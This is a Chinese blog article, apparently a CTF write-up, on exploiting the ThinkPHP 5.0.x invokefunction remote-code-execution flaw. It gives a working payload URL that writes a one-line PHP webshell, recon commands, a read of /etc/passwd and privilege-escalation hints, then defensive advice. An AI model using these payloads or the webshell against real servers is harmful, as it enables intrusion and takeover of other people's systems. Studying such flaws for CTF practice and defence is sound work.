从零到一:利用ThinkPHP漏洞实现RCE攻击实战解析

张开发
2026/4/11 5:42:38 15 分钟阅读

分享文章

从零到一:利用ThinkPHP漏洞实现RCE攻击实战解析
1. ThinkPHP漏洞背景与RCE原理ThinkPHP作为国内广泛使用的PHP开发框架曾多次被曝出高危漏洞。其中最具破坏性的就是远程代码执行RCE漏洞攻击者可以直接在服务器上执行任意代码。我在实际渗透测试中发现很多企业网站仍在使用存在漏洞的旧版本框架这给攻击者留下了可乘之机。以SWPUCTF 2022新生赛的ez_rce题目为例这个靶场环境模拟了ThinkPHP 5.0.x版本的一个典型漏洞场景。漏洞的核心在于框架对路由参数的处理不当导致攻击者可以通过特殊构造的URL调用内部函数。具体来说当传入s/index/\think\app/invokefunction这样的参数时框架会错误地解析并执行后续的函数调用。理解这个漏洞需要掌握三个关键点路由解析缺陷ThinkPHP的路由机制允许通过URL参数直接指定控制器和方法动态函数调用PHP的call_user_func_array等函数可以动态调用其他函数参数注入攻击者可以控制函数调用的全部参数2. 环境探测与漏洞验证实战中遇到的第一个挑战是如何判断目标网站使用了存在漏洞的ThinkPHP版本。根据我的经验可以按照以下步骤进行探测首先使用目录扫描工具检查常见路径dirsearch -u http://target.com/ -e php,html如果发现/.gitignore或/robots.txt文件一定要优先查看。在ez_rce题目中/robots.txt泄露了关键路径/NSS/index.php。访问这个路径后看到十年磨一剑的经典页面基本可以确认是ThinkPHP框架。接下来需要确定具体版本。我常用的方法有检查页面源代码中的注释信息访问框架的README文件尝试触发错误页面获取版本信息确认版本后就可以开始验证漏洞是否存在。ThinkPHP 5.0.x的RCE漏洞通常可以通过以下payload测试/index.php?s/index/\think\app/invokefunction如果页面没有报错而是返回空白或特定内容说明漏洞可能存在。3. 漏洞利用与Webshell写入确认漏洞存在后下一步是通过漏洞写入webshell。在ez_rce题目中使用了经典的file_put_contents方法写入PHP文件/NSS/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]eval.phpvars[1][]?php eval($_POST[cmd]);?这个payload的工作原理是通过invokefunction调用call_user_func_array将file_put_contents作为第一个参数传入提供两个参数文件名(eval.php)和文件内容(一句话木马)在实际渗透中我遇到过各种写入限制。这时候可以尝试以下变种使用短标签?替代?php将代码base64编码后通过eval执行写入.htaccess文件绕过限制写入成功后就可以用蚁剑等工具连接webshell。连接地址就是写入文件的路径如http://target.com/eval.php。记得使用POST方式提交cmd参数。4. 权限提升与flag获取拿到webshell后通常需要进一步探索服务器环境。在CTF比赛中flag往往位于特定路径。如题目中提示flag路径为/nss/ctf/flag/flag。实际渗透中我常用的命令包括whoami # 查看当前用户 pwd # 查看当前路径 ls -la # 列出目录内容 cat /etc/passwd # 查看系统用户如果遇到权限不足的情况可以尝试查找具有SUID权限的可执行文件检查crontab定时任务利用本地提权漏洞在防御方面建议开发者及时升级ThinkPHP到最新版本禁用危险函数如exec、system等设置严格的目录权限部署WAF拦截恶意请求5. 防御措施与安全建议在多次实战测试后我总结出以下几点防御建议代码层面严格过滤用户输入特别是URL参数禁用不必要的PHP函数实现自动化的安全扫描服务器配置设置open_basedir限制文件访问范围关闭目录列表功能定期检查服务器日志运维管理建立漏洞预警机制定期进行安全审计做好备份和应急响应预案对于CTF选手来说理解这些漏洞原理不仅可以帮助解题更能提高安全意识。建议搭建本地环境复现漏洞使用DVWA等靶场进行练习。

更多文章